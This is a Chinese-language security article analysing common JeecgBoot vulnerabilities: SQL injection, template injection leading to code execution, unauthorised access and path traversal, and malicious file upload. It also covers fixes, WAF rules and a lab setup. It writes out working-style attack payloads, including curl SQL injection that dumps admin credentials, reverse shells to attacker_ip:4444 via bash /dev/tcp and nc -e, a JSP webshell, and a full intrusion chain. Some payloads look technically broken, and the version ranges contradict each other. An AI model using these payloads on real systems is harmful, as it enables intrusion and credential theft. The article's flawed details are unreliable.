【Web安全】JeecgBoot框架SRC高频漏洞分析总结

文章目录

前言

JeecgBoot是国内主流的开源低代码开发平台,基于Spring Boot、MyBatis-Plus、Vue3等技术栈构建,涵盖快速开发、表单设计、报表统计、流程引擎等核心功能,广泛应用于政府、企业、互联网等领域,承担业务系统快速搭建、数据管理、协同办公等关键任务。

其架构核心为"前端可视化设计层(Vue3+Element Plus)"、"后端服务层(Spring Boot+Spring Security)"、"数据持久层(MyBatis-Plus+Minidao)"、"第三方组件层(Fastjson、Jmreport、AviatorScript)"。随着低代码开发模式的普及,JeecgBoot因"快速开发优先于安全配置"的设计特性、第三方组件漏洞遗留、默认配置弱化安全校验等问题,暴露出高频安全漏洞,成为安全响应中心(SRC)常见上报类型,可能导致敏感数据泄露、服务器被控、业务系统篡改等严重后果。本文针对JeecgBoot高频漏洞展开深度分析,为安全防护提供技术参考。

一、核心漏洞分类与技术细节

1. SQL注入漏洞(3.4.3≤版本≤3.8.1)

漏洞原理

JeecgBoot部分自动生成的接口及报表查询模块未使用参数化查询,直接拼接用户输入作为SQL语句执行,部分接口存在黑名单校验绕过问题:

  • 报表模块/jeecg-boot/online/cgreport/head/parseSql接口,带括号表名触发SQL解析异常,导致黑名单过滤失效;
  • 积木报表/jmreport/qurestSql接口的apiSelectId参数未做预处理,直接拼接进SELECT语句;
  • 依赖的Minidao持久层框架未强制启用参数化查询,开发者自定义SQL时易引发注入风险。
利用场景

攻击者通过构造恶意参数发起请求,获取数据库敏感数据或管理员凭证:

访问http://target:8080/jeecg-boot/jmreport/qurestSql?apiSelectId=1 UNION SELECT 1,username,password,4 FROM sys_user WHERE role_id='admin'--

提取响应中管理员账号admin及密码哈希e10adc3949ba59abbe56e057f20f883e(MD5加密的"123456");

通过彩虹表破解哈希,获取明文密码后登录系统。

修复方案

升级至JeecgBoot 3.8.1+版本(官方修复SQL解析逻辑与注入点);

接口加固:所有SQL查询统一使用MyBatis-Plus参数化查询(#{}占位符),禁用字符串拼接(${});

组件升级:将Minidao升级至1.9.0+版本,启用SQL注入防护开关;

输入过滤:对报表查询、数据统计类接口添加关键词过滤(UNIONINSERTOR等)。

2. SSTI模板注入与RCE漏洞(3.5.0≤版本≤3.8.0)

漏洞原理

JeecgBoot集成的Jmreport积木报表、AviatorScript表达式引擎存在模板解析安全缺陷:

  • Jmreport组件未过滤Freemarker模板中的恶意表达式,允许${}语法执行系统命令;
  • AviatorScript引擎在处理用户输入的表达式时,未限制危险类调用,可通过反射触发任意代码执行;
  • 漏洞接口多未做身份认证,攻击者无需登录即可利用。
利用场景

攻击者通过构造恶意模板表达式,实现远程代码执行:

发送POST请求至http://target:8080/jeecg-boot/jmreport/loadTableData,请求体为:

json 复制代码
{
  "reportId": "1",
  "params": {
    "name": "${new java.lang.ProcessBuilder(new String[]{\"bash\",\"-i\",\">&\",\"/dev/tcp/attacker_ip/4444\",\"0>&1\"}).start()}"
  }
}

攻击机监听4444端口,成功获取服务器反弹Shell,进而控制整个业务系统。

修复方案

升级至JeecgBoot 3.8.1+版本(官方限制模板表达式执行权限);

组件配置加固:禁用Freemarker模板的new关键字与静态方法调用,限制AviatorScript可调用的类白名单;

接口防护:为Jmreport、表达式解析类接口添加身份认证与权限校验,仅允许管理员访问。

3. 未授权访问与权限绕过漏洞(全版本默认配置)

漏洞原理

JeecgBoot部分核心接口未配置身份认证,或鉴权逻辑存在缺陷可被绕过:

  • 数据接口:/sys/user/checkOnlyUser(未授权查询用户名存在性)、/sys/role/list(未授权获取角色信息);
  • 功能接口:/api/jeecg-boot/sys/common/upload(未授权文件上传)、/online/cgreport/exportExcel(未授权导出报表数据);
  • 路径遍历绕过:通过../目录穿越绕过接口鉴权,访问敏感资源。
利用场景

攻击者无需登录即可批量窃取企业敏感数据:

访问http://target:8080/jeecg-boot/sys/user/checkOnlyUser?username=admin,通过响应状态判断管理员账号是否存在;

访问http://target:8080/jeecg-boot/online/cgreport/exportExcel?reportId=1,直接下载包含客户信息、财务数据的Excel报表;

通过路径遍历http://target:8080/jeecg-boot/api/../sys/config/getConfig,绕过/api接口鉴权,获取数据库连接密码。

修复方案

配置接口权限:在application.yml中启用全局接口鉴权,为/sys/*/online/*/jmreport/*接口添加登录校验;

鉴权逻辑加固:修复路径遍历漏洞,过滤请求URL中的.././等特殊字符;

敏感接口防护:为用户信息查询、数据导出接口添加IP白名单,仅允许企业内网访问。

4. 文件操作漏洞(3.0≤版本≤3.7.0)

漏洞原理

JeecgBoot文件上传与下载模块存在多重安全缺陷:

  • 文件上传:未校验文件后缀与实际内容,允许上传.jsp.jspx等可执行脚本,且上传路径位于Tomcat webapps目录下;
  • 文件读取:目录遍历防护缺失,攻击者可通过构造特殊路径读取系统配置文件、数据库密钥;
  • 权限管控:文件上传接口未限制上传者身份,任意用户均可上传恶意文件。
利用场景

攻击者通过未授权文件上传植入后门,控制服务器:

使用curl发送上传请求:

bash 复制代码
curl -X POST "http://target:8080/jeecg-boot/sys/common/upload" \
-F "file=@shell.jsp;filename=shell.jsp" \
-F "fileType=image"

其中shell.jsp内容为:

jsp 复制代码
<%@ page import="java.io.*"%>
<% 
Runtime.getRuntime().exec("bash -i >& /dev/tcp/attacker_ip/4444 0>&1"); 
%>

访问http://target:8080/jeecg-boot/upload/shell.jsp,触发后门获取服务器权限;

通过文件读取漏洞访问http://target:8080/jeecg-boot/sys/common/download?path=../../application.yml,获取数据库账号密码。

修复方案

升级至JeecgBoot 3.8.0+版本(官方修复文件操作逻辑);

文件上传加固:添加后缀白名单(仅允许.jpg.pdf.docx等常用格式),校验文件内容(如JPG文件首字节FF D8);

路径配置:将上传文件存储路径移出Tomcat webapps目录,禁用上传目录脚本执行权限;

文件读取防护:限制读取路径前缀,仅允许访问指定文件目录,过滤../等遍历字符。

二、漏洞关联利用与攻击路径

1. 组合攻击示例(JeecgBoot全漏洞链)

步骤1:未授权信息收集

访问http://target:8080/jeecg-boot/sys/user/checkOnlyUser接口,批量探测出管理员账号admin

通过/sys/role/list接口获取企业组织架构与权限配置信息。

步骤2:SQL注入破解密码

利用/jmreport/qurestSql接口注入SQL,查询sys_user表获取admin的密码哈希e10adc3949ba59abbe56e057f20f883e,破解为明文123456

步骤3:文件上传植入后门

使用admin/123456登录系统,进入"文档管理"模块,上传伪装为test.pdf的JSP后门(修改后缀为.jsp),获取后门路径http://target:8080/jeecg-boot/upload/backdoor.jsp

步骤4:内网横向渗透

通过后门获取服务器内网IP段(如192.168.2.0/24),使用Nmap扫描内网其他JeecgBoot实例(默认端口8080),复用未授权访问与SQL注入漏洞,扩大控制范围。

2. 典型攻击载荷

(1)SQL注入获取管理员密码(JeecgBoot 3.7.0)
bash 复制代码
curl "http://target:8080/jeecg-boot/jmreport/qurestSql?apiSelectId=1' UNION SELECT 1,username,password,4 FROM sys_user WHERE role_id='1'-- "
(2)SSTI模板注入RCE(JeecgBoot 3.6.0)
bash 复制代码
curl -X POST "http://target:8080/jeecg-boot/jmreport/loadTableData" \
-H "Content-Type: application/json" \
-d '{
  "reportId": "test",
  "params": {
    "cmd": "${Runtime.getRuntime().exec(\"nc attacker_ip 4444 -e /bin/bash\")}"
  }
}'
(3)未授权文件上传(JeecgBoot 3.5.0)
bash 复制代码
curl -X POST "http://target:8080/jeecg-boot/sys/common/upload" \
-F "file=@shell.jsp;filename=shell.jsp" \
-F "bizType=doc" \
-F "fileType=doc"

三、版本演进与修复策略

漏洞类型 影响版本 修复版本 核心变更点
SQL注入漏洞 3.4.3≤版本≤3.8.1 3.8.1+ 修复jmreport/qurestSql等注入点,强制启用参数化查询
SSTI模板注入与RCE 3.5.0≤版本≤3.8.0 3.8.1+ 限制Freemarker/AviatorScript危险调用,添加模板表达式白名单
未授权访问与权限绕过 全版本默认配置 3.8.0+ 为敏感接口添加登录校验,修复路径遍历漏洞,新增接口权限管理模块
文件操作漏洞 3.0≤版本≤3.7.0 3.8.0+ 强化文件后缀与内容校验,移出上传文件至非Web目录,禁用脚本执行权限

四、安全运维建议

1. 基础防护

  • 网络隔离:JeecgBoot服务器不直接暴露公网,通过堡垒机或VPN供内部人员访问;仅开放80/443等必要端口,限制办公网IP访问。
  • 配置加固:
    • 修改默认账号密码:强制将admin默认密码(123456)改为"大小写字母+数字+特殊符号"组合,定期轮换;
    • 禁用危险功能:关闭未使用的Jmreport报表功能、AviatorScript表达式引擎,删除bsh.jar等风险组件;
    • 数据库防护:限制JeecgBoot服务器IP仅能访问数据库,禁止数据库账号远程登录,启用数据库审计日志。

2. 动态监测

  • WAF规则拦截:
    • 拦截SQL注入请求:过滤含UNIONAND 1=1OR等关键词的请求;
    • 拦截SSTI注入请求:过滤Freemarker模板表达式${}#{}, 限制危险类调用;
    • 拦截恶意文件上传:过滤.jsp.jspx.asp等可执行后缀,拦截包含Runtime.exec的文件内容。
  • 日志审计:
    • 监控登录日志:重点关注异地登录、多次登录失败事件,防范暴力破解;
    • 监控敏感操作:跟踪文件上传、数据导出、SQL查询等行为,发现异常及时阻断;
    • 日志分析:使用ELK等工具集中管理日志,定期排查潜在攻击行为。

3. 版本管理

  • 定期版本检查:通过JeecgBoot后台"系统监控-关于"查看版本,对照官方漏洞公告确认风险;使用官方提供的漏洞检测工具扫描当前系统。
  • 自动化升级:在CI/CD流程中集成OWASP Dependency-Check工具,检测第三方组件漏洞;官方发布安全补丁后,72小时内完成测试与升级(优先升级生产环境)。

五、典型漏洞复现环境搭建

1. 环境配置(以JeecgBoot 3.7.0为例)

步骤1:环境准备
  • 操作系统:Windows Server 2019(或Linux Ubuntu 20.04);
  • 依赖软件:JDK 1.8(配置JAVA_HOME)、Tomcat 9.0(端口8080)、MySQL 8.0(编码utf8mb4)、Maven 3.6.3;
  • 漏洞版本:JeecgBoot 3.7.0(可从GitHub官方仓库下载源码)。
步骤2:初始化部署
  • 下载JeecgBoot 3.7.0源码,修改application-dev.yml中的MySQL连接信息(数据库名jeecg-boot,用户名root,密码123456);
  • 执行数据库初始化脚本(db/jeecg-boot-mysql-3.7.0.sql);
  • 使用Maven打包:mvn clean package -Dmaven.test.skip=true,获取jeecg-boot.war文件;
  • jeecg-boot.war放入Tomcat的webapps目录,启动Tomcat自动解压部署。
步骤3:服务启动
  • 启动MySQL:net start mysql(Windows)或systemctl start mysqld(Linux);
  • 启动Tomcat:运行Tomcat/bin/startup.bat(Windows)或startup.sh(Linux);
  • 验证访问:访问http://localhost:8080/jeecg-boot/login,使用默认账号admin/123456登录。

2. 漏洞验证(SQL注入漏洞)

步骤1:构造恶意请求

使用curl构造SQL注入请求,获取管理员账号密码:

bash 复制代码
curl "http://localhost:8080/jeecg-boot/jmreport/qurestSql?apiSelectId=1' UNION SELECT 1,username,password,4 FROM sys_user WHERE role_id='1'-- "
步骤2:解析响应结果

响应中会返回admin账号及对应的密码哈希e10adc3949ba59abbe56e057f20f883e

步骤3:破解密码

通过MD5彩虹表查询,破解哈希值为明文密码123456,成功获取管理员凭证。

3. 参考链接

六、总结

JeecgBoot的高频漏洞主要源于低代码开发模式的安全校验缺失、第三方组件漏洞遗留、默认配置弱化安全防护三大核心问题。作为企业快速开发业务系统的核心框架,其漏洞一旦被利用,不仅会导致敏感数据泄露、业务系统瘫痪,还可能成为攻击者突破企业内网的"跳板"。

相关推荐
泷羽Sec-静安5 小时前
Less-9 GET-Blind-Time based-Single Quotes
服务器·前端·数据库·sql·web安全·less
白山云北诗5 小时前
网站被攻击了怎么办?如何进行DDoS防御?
开发语言·网络安全·php·ddos·防ddos·防cc
德迅云安全杨德俊6 小时前
服务器为何成为网络攻击的“重灾区“?
网络·安全·web安全·ddos
vortex515 小时前
RDP 启用多用户会话(当前用户无感知)
windows·网络安全·渗透测试
独行soc1 天前
2025年渗透测试面试题总结-234(题目+回答)
网络·python·安全·web安全·渗透测试·1024程序员节·安全狮
unable code1 天前
攻防世界-Misc-SimpleRAR
网络安全·ctf·misc·1024程序员节
Oxo Security1 天前
【AI安全】检索增强生成(RAG)
人工智能·安全·网络安全·ai
小李独爱秋1 天前
计算机网络经典问题透视:什么是NAPT?它有哪些特点?
网络·网络协议·计算机网络·网络安全·智能路由器
Whoami!1 天前
⸢ 拾叁-Ⅱ⸥⤳ 安全水位评估框架(下):安全水位指标
网络安全·信息安全·安全水位指标